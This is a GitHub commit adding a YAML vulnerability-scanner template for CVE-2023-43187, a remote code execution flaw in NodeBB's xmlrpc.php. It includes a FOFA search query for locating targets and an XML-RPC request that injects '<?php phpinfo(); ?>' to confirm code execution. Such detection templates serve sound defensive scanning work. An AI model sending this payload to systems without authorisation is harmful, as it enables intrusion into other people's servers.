Merge pull request #9294 from 0xParth/patch-1

Create CVE-2023-43187
patch-1
Ritik Chaddha 2024-03-08 17:26:36 +05:30 committed by GitHub
commit 0b58b303a1
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194
1 changed files with 68 additions and 0 deletions

View File

@ -0,0 +1,68 @@
id: CVE-2023-43187
info:
name: NodeBB XML-RPC Request xmlrpc.php - XML Injection
author: 0xParth
severity: critical
description: |
A remote code execution (RCE) vulnerability in the xmlrpc.php endpoint of NodeBB Inc NodeBB forum software prior to v1.18.6 allows attackers to execute arbitrary code via crafted XML-RPC requests.
reference:
- https://github.com/jagat-singh-chaudhary/CVE/blob/main/CVE-2023-43187
- https://nvd.nist.gov/vuln/detail/CVE-2023-43187
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-43187
cwe-id: CWE-91
epss-score: 0.00326
epss-percentile: 0.70173
cpe: cpe:2.3:a:nodebb:nodebb:*:*:*:*:*:*:*:*
metadata:
vendor: nodebb
product: nodebb
fofa-query: title="nodebb"
tags: cve,cve2023,nodebb,rce
flow: http(1) && http(2)
http:
- method: GET
path:
- "{{BaseURL}}"
matchers:
- type: dsl
internal: true
dsl:
- contains(to_lower(body), "nodebb")
- method: POST
path:
- "{{BaseURL}}/xmlrpc.php"
headers:
Content-Type: "text/xml"
body: |
<?xml version="1.0"?>
<methodCall>
<methodName>system.listMethods</methodName>
<params>
<param>
<value><?php phpinfo(); ?></value>
</param>
</params>
</methodCall>
matchers-condition: and
matchers:
- type: word
part: body
words:
- "<title>phpinfo()</title>"
- "PHP Version"
condition: or
- type: status
status:
- 200